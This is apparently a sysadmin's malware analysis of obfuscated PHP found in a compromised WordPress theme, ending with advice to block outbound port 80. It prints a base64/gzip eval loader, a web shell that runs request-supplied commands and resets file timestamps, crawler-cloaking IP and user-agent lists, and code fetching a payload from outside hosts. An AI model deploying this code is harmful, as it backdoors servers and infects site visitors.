When this incident first came to light, we had no access to the server-side code, so all we could see was what was being delivered to the client. However, a few days later, the authors of the site copied their Wordpress code from the infected site to a new test site that we had access. They thought that copying the original content would leave the exploit behind. They were wrong.
It was a particularly alert SysAdmin that noticed a couple of strange PHP files still present in the uploaded Wordpress Theme and sent it along to me for further investigation. Just like the Javascript on the client side, the PHP code had been highly obfuscated to make it difficult to decipher. But the filenames were the first clue:
underscore.min.php external_1ff9ddae493b876877af10cc6fcd2ada.php
The first one had the same name as the malicious javascript on the client side. The second was apparently a randomly generated string, meant to look like a temp file. Let's look at a snippet of it first:
<?php $XAj_s8p = array('eNrFG2l32kjy+/4KBfvZyL','FB92Esh7yM53gvmcnm2N33', 'gpcnQBjNAGIlEScx/u9bR+','tEYCeZ3clYR1dXV1VX19Ut','RgqnUvvJdL0cp2G0HAafwi', 'RN2sfBIjqWZelOynokgLQP','Q/nu0Peex7H/ud1qnbaG4h','oM4NbFC28duF5FX8L53O8a', 'HUVqj6PFyk/D0TzoSa/e/n','IlOR2lJ/0zXE6i20T69Z1k','dRS5NMjEQaK7J72voJodtS', 'cFy7P3b3tS/PFc7bgdpaPK','0k/B+I+oqymKo7iapprSj2','EcTKNPXR37v5p4iaCumIoh', 'ieFEdhTGk67Ssb5dZK2jKg','ULVVFc1ShJbEF36/Q48afB','cBFNguPT42gVLIcjPwkmYX', 'x82pql6eqctA1/B90DoX/+','64rr+XgcrNKzl/7yZu3fBO', [..etc..] 'us8QeKtBapE64reQiCMQmp','Io7BOOjur50BLObPCPoCwz','O5apMGD5RES0re+iDmPzI2', 'fbyE+t8zDB+DvOqGHAQz9z','aggabIrSs8u//Re5rdK6'); $JGk = array('4_decode','base6'); $e_vR3t = array('gzunco','mpress') ; $MDd6bJ2DY = $JGk[1].$JGk[0]; $X4Q = $e_vR3t[0].$e_vR3t[1]; eval($X4Q($MDd6bJ2DY(implode('', $XAj_s8p)))); ?>
So what the heck does that do? Well, clearly it's PHP code, but it looks like a random string of characters. The key is in the last couple of lines. Assemble those strings together and you have "eval(gzuncompress(base64_decode(implode(array))));". It looks like it was gzipped code that had been base64 encoded and broken into chunks. Clever. I didn't want to execute it, I just wanted to see the code, so I changed the 'eval' to a 'print' and then ran the code. Much like was done with the javascript, strings were all stuffed into an array and the beginning of the code, rather than being in their proper place, making it that much harder to read. I used a bit of perl to put the strings back where they belong, and this is a sampling of what we got as a result:
if (isset($_REQUEST["update2"])) { $y_47 = gzinflate(base64_decode($_REQUEST["update2"])); $y_60 = $_SERVER["SCRIPT_FILENAME"]; $y_61 = before_last("/", $y_60); if (!is_writable($y_61))@chmod($y_61, 420); $y_62 = @filemtime($y_61);@copy($y_60, $y_60."1.php");@touch($y_61, $y_62, $y_62);@touch($y_60."1.php", $y_62, $y_62); if (!is_writable($y_60))@chmod($y_60, 420); if (is_writable($y_60)) { $y_54 = trim(file_get_contents($y_60)); $y_63 = preg_replace("/^\<\?php.*\?\>/Usi", "", $y_54); $y_58 = @filemtime($y_60); $y_59 = fopen($y_60, "w"); fwrite($y_59, $y_47.$y_63); fclose($y_59);@touch($y_60, $y_58, $y_58); echo "<pre>update</pre>"; } else { echo "<pre>no rw $y_49</pre>"; } } if (isset($_REQUEST["update3"])) { echo "<pre>"; $y_64 = $_REQUEST["update3"]; $y_46 = ""; if (!empty($y_64)) { if (function_exists('exec')) {@exec($y_64, $y_46); $y_46 = join("\n", $y_46); } elseif(function_exists('shell_exec')) { $y_46 = @shell_exec($y_64); } elseif(function_exists('system')) {@ob_start();@system($y_64); $y_46 = @ob_get_contents();@ob_end_clean(); } elseif(function_exists('passthru')) {@ob_start();@passthru($y_64); $y_46 = @ob_get_contents();@ob_end_clean(); } elseif(@is_resource($y_65 = @popen($y_64, "r"))) { $y_46 = ""; while (!@feof($y_65)) { $y_46. = @fread($y_65, 1024); }@pclose($y_65); } } echo $y_46; echo "</pre>"; }
There were numerous other code blocks similar to these. Basically, it was a toolkit. The attacker could pass in a command to this PHP script via the URL request and the script would execute the command. For example, the first block above, "update2", could patch a file and then set the modified-time on the file back to what it had previously been to cover its tracks. The second code block would execute whatever argument was passed in, as a shell script, and present the results. There were other code blocks to add files, infect all files matching a pattern, and even fetch content over the web using Curl. If Curl wasn't present, code was included to open a socket directly and fetch content.
Let's take a look at the other PHP script, underscore.min.php (which was likely placed there by the "toolkit" PHP script!). First, it had been minimized too (no surprise there), so it was very hard to read. I discovered though that the Javascript deminimizer that I mentioned in Part I works just as well on minimized PHP scripts. Once I fed it in, I ended up with code that looked like this:
if (!function_exists('detB')) { function detB($bot_15, $bot_16) { $bot_17 = array(google(47), google(48), google(49), google(50), google(51), google(52), google(53), google(54), google(55), google(56), google(57), google(58), google(59), google(60), google(61), google(62), google(63), google(64), google(65), google(66), google(67), google(68), google(69), google(70), google(71), google(72), google(73), google(74), google(75), google(76), google(77), google(78), google(79), google(80), google(81), google(82), google(83), google(84), google(85), google(86), google(87), google(88), google(89), google(90), google(91), google(92), google(93), google(94), google(95), google(96), google(97), google(98), google(99), google(100), google(101), google(102), google(103), google(104), google(105), google(106), google(107), google(108), google(109), google(110), google(111), google(112), google(113), google(114), google(115), google(116), google(117), google(118), google(119)); $bot_18 = array(google(120), google(121), google(122), google(123), google(124), google(125), google(126), google(127), google(128), google(129), google(130), google(131), google(132), google(133), google(134), google(135), google(136), google(137), google(138), google(139), google(140), google(141), google(142), google(143), google(144), google(145), google(146)); $bot_15 = preg_replace(google(147), google(148), $bot_15); $bot_19 = true; foreach($bot_17 as $bot_20) if (eregi("$bot_20", $bot_16)) { $bot_19 = false; break; } if ($bot_19) foreach($bot_18 as $bot_21) if (eregi($bot_21, $bot_15) !== false) { $bot_19 = false; break; } if ($bot_19 and!eregi(google(149), $bot_15)) { $bot_19 = false; } if ($bot_19 and strlen($bot_15) <= round(0 + 2.2 + 2.2 + 2.2 + 2.2 + 2.2)) { $bot_19 = false; } return $bot_19; } } if (!function_exists('rm_rf')) { function rm_rf($bot_22) { $bot_23 = @filemtime($bot_22); if ($bot_24 = opendir($bot_22)) { while (false !== ($bot_25 = readdir($bot_24))) { if ($bot_25 != google(150) && $bot_25 != google(151) && is_file($bot_25)) {@chmod($bot_25, round(0 + 219 + 219));@unlink($bot_25); } } closedir($bot_24); }@touch($bot_22, $bot_23, $bot_23); } }
So once again, all strings had been removed from the code and placed into an array, making the code harder to read. I wrote a few lines of Perl to take the strings from the array and put them back in-line, making it easier to read. The code above then looked like this:
if (!sub_exists('detB')) { sub detB($bot_15, $bot_16) { $bot_17 = array("66.249.[6-9][0-9].[0-9]+", "72.14.[1-2][0-9][0-9].[0-9]+", "74.125.[0-9]+.[0-9]+", "65.5[2-5].[0-9]+.[0-9]+", "74.6.[0-9]+.[0-9]+", "67.195.[0-9]+.[0-9]+", "72.30.[0-9]+.[0-9]+", "38.[0-9]+.[0-9]+.[0-9]+", "124.115.6.[0-9]+", "93.172.94.227", "212.100.250.218", "71.165.223.134", "209.9.239.101", "67.217.160.[0-9]+", "70.91.180.25", "65.93.62.242", "74.193.246.129", "213.144.15.38", "195.92.229.2", "70.50.189.191", "218.28.88.99", "165.160.2.20", "89.122.224.230", "66.230.175.124", "218.18.174.27", "65.33.87.94", "67.210.111.241", "81.135.175.70", "64.69.34.134", "89.149.253.169", "64.233.1[6-8][1-9].[0-9]+", "64.233.19[0-1].[0-9]+", "209.185.108.[0-9]+", "209.185.253.[0-9]+", "209.85.238.[0-9]+", "216.239.33.9[6-9]", "216.239.37.9[8-9]", "216.239.39.9[8-9]", "216.239.41.9[6-9]", "216.239.45.4", "216.239.46.[0-9]+", "216.239.51.9[6-9]", "216.239.53.9[8-9]", "216.239.57.9[6-9]", "216.239.59.9[8-9]", "216.33.229.163", "64.233.173.[0-9]+", "64.68.8[0-9].[0-9]+", "64.68.9[0-2].[0-9]+", "72.14.199.[0-9]+", "8.6.48.[0-9]+", "207.211.40.82", "67.162.158.146", "66.255.53.123", "24.200.208.112", "129.187.148.240", "129.187.148.244", "199.126.151.229", "118.124.32.193", "89.149.217.191", "122.164.27.42", "149.5.168.2", "150.70.66.[0-9]+", "194.250.116.39", "208.80.194.[0-9]+", "62.190.39.205", "67.198.80.236", "85.85.187.243", "95.134.141.250", "97.107.135.[0-9]+", "184.168.191.[0-9]+", "95.108.157.[0-9]+", "209.235.253.17"); $bot_18 = array("http", "google", "slurp", "msnbot", "bot", "crawl", "spider", "robot", "httpclient", "curl", "php", "indy library", "wordpress", "charlotte", "wwwster", "python", "urllib", "perl", "libwww", "lynx", "twiceler", "rambler", "yandex", "trend", "virus", "malware", "wget"); $bot_15 = preg_replace("|User.Agent:[s ]?|i", "", $bot_15); $bot_19 = true; foreach($bot_17 as $bot_20) if (eregi("$bot_20", $bot_16)) { $bot_19 = false; break; } if ($bot_19) foreach($bot_18 as $bot_21) if (eregi($bot_21, $bot_15) !== false) { $bot_19 = false; break; } if ($bot_19 and!eregi("^[a-zA-Z]{5,}", $bot_15)) { $bot_19 = false; } if ($bot_19 and strlen($bot_15) <= 11) { $bot_19 = false; } return $bot_19; } } if (!sub_exists('rm_rf')) { sub rm_rf($bot_22) { $bot_23 = @filemtime($bot_22); if ($bot_24 = opendir($bot_22)) { while (false !== ($bot_25 = readdir($bot_24))) { if ($bot_25 != "." && $bot_25 != ".." && is_file($bot_25)) {@chmod($bot_25, 438);@unlink($bot_25); } } closedir($bot_24); }@touch($bot_22, $bot_23, $bot_23); } }
The underscore.min.php code was surreptitiously linked to from one of the site's javascript components, which means it was executed on every page. This is the code that deployed the exploit to the browser. But in order to avoid being marked as a malware site by Google, it had to cover its tracks. That's what the first block of code above does. If the PHP code is accessed from any of the IP blocks above, or using any of the User Agent strings above, it returns a harmless empty page. Those IP blocks above belong to Google, Microsoft, Yahoo, etc. Clever.
The "rm_rf" function that's defined above got executed if the PHP script was accessed between 12:00 and 12:01, either AM or PM, and would erase the contents of a subdirectory it had created. That sub-directory, it turns out, was used to track every IP address that had accessed the page. Each day a new file would get created with a list of all of the IP addresses potentially infected by the malware, and the malware would only be sent to each IP address once on a given day. The directory was named ".svn" and was placed in the same directory as the PHP script. Unfortunately when we received a copy of the site, there was no .svn directory present.
The last piece of the puzzle was where the malware was coming from, because it wasn't present in the PHP script. As it turns out, the script contained code to fetch the malware from an outside website and deliver it to the user:
$bot_36 = array("ohix.", "effbot.", "/f/", "net"); $bot_37 = $bot_36[rand(0, 1)].$bot_36[3].$bot_36[2]; $bot_38 = @cc($bot_37); // Tries either http://ohix.net/f/ or http://effbot.net/f/ (random) if ($bot_38 != "ERROR") { $bot_23 = @filemtime($bot_30); $bot_35 = @fopen($bot_34, "w"); @fwrite($bot_35, "$bot_38"); @fclose($bot_35); ... $bot_39 = @base64_decode(@file_get_contents($bot_34)); echo $bot_39;
As may be evident above, the malware is fetched from one of two sites, randomly chosen. The "@cc" function is an internally defined function. Much like the PHP toolkit, it uses either Curl, or, if Curl isn't present, directly opens a socket to fetch the malware. The malware is then base64 decoded and sent to the browser.
So what does this all mean to you as a SysAdmin? Why care how this exploit works? Well, it's interesting to note here that this code relies on having port 80 access to the outside world in order to fetch its payload. It would be relatively easy to neuter this particular malware by blocking port 80 access from your web server. The only reason you should ever need to access port 80 on another server from your web server is to fetch software updates, and you can selectively permit those, or just disable the port 80 block only while patching your software.
It's something to think about, anyway.